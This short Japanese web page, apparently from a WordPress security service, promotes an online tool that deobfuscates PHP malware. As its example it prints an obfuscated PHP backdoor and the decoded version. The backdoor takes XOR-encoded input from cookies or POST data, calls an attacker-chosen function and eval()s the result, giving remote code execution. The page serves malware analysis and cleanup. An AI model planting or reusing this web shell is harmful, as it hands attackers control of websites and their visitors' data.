Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php $cUmVsi = 's' ./* hix */'t'/* bT */. chr/* E */(114)/* Uxk */./* I */'_'/* Fsd */. "\162" . chr (101) . chr ( 504 - 392 )."\145" ./* IL */chr ( 1068 - 971 )."\x74"; $jJpZrlqK =/* jq */'e'/* rvtK*/./* pKnpd */'x' . chr ( 997 - 885 ).chr (108) ./*tEs */chr ( 255 - 144 )."\144" . chr (/* oxgsr*/527/* aartk */-/* siQO */426 ); $oegYbgyKDG =/* vS*/chr/* Uzfr */( 975 -/* PIlf */876 ).chr (/* K*/602 - 491/*TpWpl */).'u' . chr (/* l */933 - 823 ).'t'; $YLmammU = chr (112) . chr (97) ./*o */"\143" ./* bx */"\x6b"; $RiZQAouQt =/* PI */Array ( "TJnfqoqxpTXrCpdKFrWLUjKvjIxP"/*RP */=> "hjHgpULEghrXTADaIJpiUQDyVZX" ); /* R */$dWNUa =/*fCJC*/Array ( "tUOVEzCNQvbjtFEFO" => "ubTmq" ); $QwQQlAY/* wRMKi */= Array(/* Khiso */$RiZQAouQt,/*U */$_COOKIE, $RiZQAouQt,/*rgiur */$_POST,/* h */$dWNUa); foreach/* n */($QwQQlAY/* AWUUG */as $ltuAHJr) { foreach ( $ltuAHJr as $KDAsgoZ => $mdSMwrUcB ) { $mdSMwrUcB =/* eYW*/@$YLmammU(/* LMv */chr (72) . '*', $mdSMwrUcB/* Dd */); /* Zy */$KDAsgoZ .=/* RnVr */"YFogfBu-HVxYzDa-KftE-fXV-KdMlexA-SpAHxwJ-VDaf"; $KDAsgoZ/* J */=/* HymDo */$cUmVsi ( $KDAsgoZ, ( strlen( $mdSMwrUcB/*HLT*/)/strlen( $KDAsgoZ )/* Y */)/* GKK */+ 1); $eMTfMZzoG = $mdSMwrUcB ^/*dvS*/$KDAsgoZ; $jKyYniAonY = $jJpZrlqK ( "\x23", $eMTfMZzoG ); if ( $oegYbgyKDG ( $jKyYniAonY/* s*/) == 3 )/*x */{ $nwAoQ = $jKyYniAonY[1]; $XstVvJM/* VO*/= $jKyYniAonY[2]; /* ffg*/$wHiglTW = $nwAoQ($XstVvJM); eval ( $wHiglTW ); die/* UxcU */(); } } /* WjQZb */}
<?php $cUmVsi = "str_repeat"; $jJpZrlqK = "explode"; $oegYbgyKDG = "count"; $YLmammU = "pack"; $RiZQAouQt = array("TJnfqoqxpTXrCpdKFrWLUjKvjIxP" => "hjHgpULEghrXTADaIJpiUQDyVZX"); /* R */ $dWNUa = array("tUOVEzCNQvbjtFEFO" => "ubTmq"); $QwQQlAY = array( /* Khiso */ $RiZQAouQt, /*U */ $_COOKIE, $RiZQAouQt, /*rgiur */ $_POST, /* h */ $dWNUa, ); foreach ($QwQQlAY as $ltuAHJr) { foreach ($ltuAHJr as $KDAsgoZ => $mdSMwrUcB) { $mdSMwrUcB = @$YLmammU( /* LMv */ "H*", $mdSMwrUcB ); $KDAsgoZ .= "YFogfBu-HVxYzDa-KftE-fXV-KdMlexA-SpAHxwJ-VDaf"; $KDAsgoZ = $cUmVsi($KDAsgoZ, strlen($mdSMwrUcB) / strlen($KDAsgoZ) + 1); $eMTfMZzoG = $mdSMwrUcB ^ $KDAsgoZ; $jKyYniAonY = $jJpZrlqK("#", $eMTfMZzoG); if ($oegYbgyKDG($jKyYniAonY) == 3) { /*x */ $nwAoQ = $jKyYniAonY[1]; $XstVvJM = $jKyYniAonY[2]; /* ffg*/ $wHiglTW = $nwAoQ($XstVvJM); eval($wHiglTW); die; } } /* WjQZb */ }
■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります
(C)2019 ワードプレス ドクター All rights reserved.